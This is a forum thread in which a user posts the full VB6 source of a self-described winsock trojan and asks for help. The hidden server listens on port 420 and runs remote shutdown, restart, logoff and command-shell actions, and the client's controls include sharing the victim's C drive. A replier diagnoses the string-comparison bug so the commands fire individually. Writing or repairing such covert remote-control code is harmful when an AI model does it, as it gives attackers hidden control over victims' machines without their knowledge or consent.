Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Categories

Visual Basic Trojan. PLEASE HELP!

aegiss123aegiss123 Member Posts: 1
hello, im making a simple winsock trojan in vb6
Its almost done but i still have something thing not working the best that it can.
i can connect to the server from the client fine, send data and all that
and the server receives it corectley, but for some reason when i send data, such as the "shutdown" command. then client seems to send [u]all[/u] the data at once. so instead of just shutting down the remote computer it sends it a message, shuts it down, share c drive, log off, restart and all that.
any help with this would be greatly appreciated.
here's my code..

SERVER
______


Private Sub Form_Load()
' makes the server listen on port 420 on startup
win.LocalPort = 420
win.Listen
Me.Visible = False
App.TaskVisible = False
End Sub


Private Sub win_ConnectionRequest(ByVal requestID As Long)
' if a connection is requested then close the winsock and connect
If win.State = sckListening Then
win.Close
Else: win.Connect
End If
' aleart client that the server has connected
win.Accept requestID
End Sub


Private Sub win_DataArrival(ByVal bytesTotal As Long)
' commands sent by client
Dim cmd As String
win.GetData (cmd)
If cmd = Shutdown Then
Shell ("shutdown -s")
End If

Dim restart As String
win.GetData (restart)
If restart = restart Then
Shell ("shutdown -r")
End If

Dim logoff As String
win.GetData (logoff)
If logoff = logoff Then
Shell ("shutdown -l")
End If

Dim msg As String
win.GetData (msg)
If msg = msg Then
MsgBox "hello", 10, "ok"
End If

Dim command As String
win.GetData (command)
If command = command Then
Shell ("command.com")
End If

Dim limewire As String
win.GetData (limewire)
If limewire = limewire Then
Shell ("C:Program FilesLimeWireLimeWire.exe")
End If
End Sub

Private Sub win_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
' make the winsock listen again if an error occurs
win.Close
win.Listen
End Sub

Private Sub win2_Connect()
win2.Connect
End Sub

Private Sub win2_ConnectionRequest(ByVal requestID As Long)
If win.State = sckListening Then
win2.Accept requestID
win2.Connect
End If
End Sub

CLIENT
_______




Private Sub cmd_Click(Index As Integer)
win.SendData ("CMD")
End Sub

Private Sub cmd1_Click(Index As Integer)
win.SendData ("command")
End Sub


Private Sub Command2_Click()
win.SendData ("msg")

End Sub

Private Sub disconecct_Click(Index As Integer)
win.Close
Label3.Caption = Disconnected
Label2.Caption = "Status:"
End Sub

Private Sub connect_Click(Index As Integer)
Dim ip As String
ip = ip1.Text
win.RemoteHost = ip
win.connect
End Sub

Private Sub Form_Load()
win.RemotePort = 420
End Sub

Private Sub limewire_Click(Index As Integer)
win.SendData ("limewire")
End Sub

Private Sub logoff1_Click(Index As Integer)
win.SendData ("logoff")
End Sub

Private Sub msg1_Click(Index As Integer)
win.SendData ("msg")
End Sub

Private Sub restart1_Click(Index As Integer)
win.SendData ("Restart")
End Sub

Private Sub shacec1_Click(Index As Integer)
win.SendData (sharec)
MsgBox "C Drive shared", 10, "Trojan Client"
End Sub

Private Sub shutdown1_Click(Index As Integer)
win.SendData ("Shutdown")
End Sub

Private Sub viewc_Click(Index As Integer)
Dim ip9 As String
ip9 = ip1.Text
Shell ("explorer \ip9")
End Sub

Private Sub win_Connect()
MsgBox "Connected to server!", 10, "Trojan Remote"
Label3.Caption = ip1.Text
Label2.Caption = "Connected to:"
End Sub

Comments

  • BitByBit_ThorBitByBit_Thor Member Posts: 2,444
    : hello, im making a simple winsock trojan in vb6
    : Its almost done but i still have something thing not working the
    : best that it can.
    : i can connect to the server from the client fine, send data and all
    : that
    : and the server receives it corectley, but for some reason when i
    : send data, such as the "shutdown" command. then client seems to send
    : [u]all[/u] the data at once. so instead of just shutting down the
    : remote computer it sends it a message, shuts it down, share c drive,
    : log off, restart and all that.
    : any help with this would be greatly appreciated.
    : here's my code..
    :

    Your If-blocks in the win_DataArrival sub are what's causing it.
    The first "If cmd = Shutdown Then", what is Shutdown? If you're comparing strings you should put the string text between quotation marks, as such: "Shutdown". The same goes for "If restart = restart Then", which is similar to asking VB is "If 1=1 Then", which is quite trivially True. Here too, use quotation marks as following: If restart = "restart" Then

    P.S. I suggest you use Option Explicit (place it at the absolute top of the module). This will force you to explicitly declare any variables you want to use. Why this is handy is because it catches typo's, for instance:
    If you have a variable MyString and then in the next part you accidentally type MySting instead, VB without Option Explicit will define a new variable MyString As Variant for you... quite undesirable.
    P.P.S. I also suggest adding Option Compare Text to allow the string comparisons done in the DataArrival sub to be capital insensitive

    Best Regards,
    Richard

    The way I see it... Well, it's all pretty blurry
Sign In or Register to comment.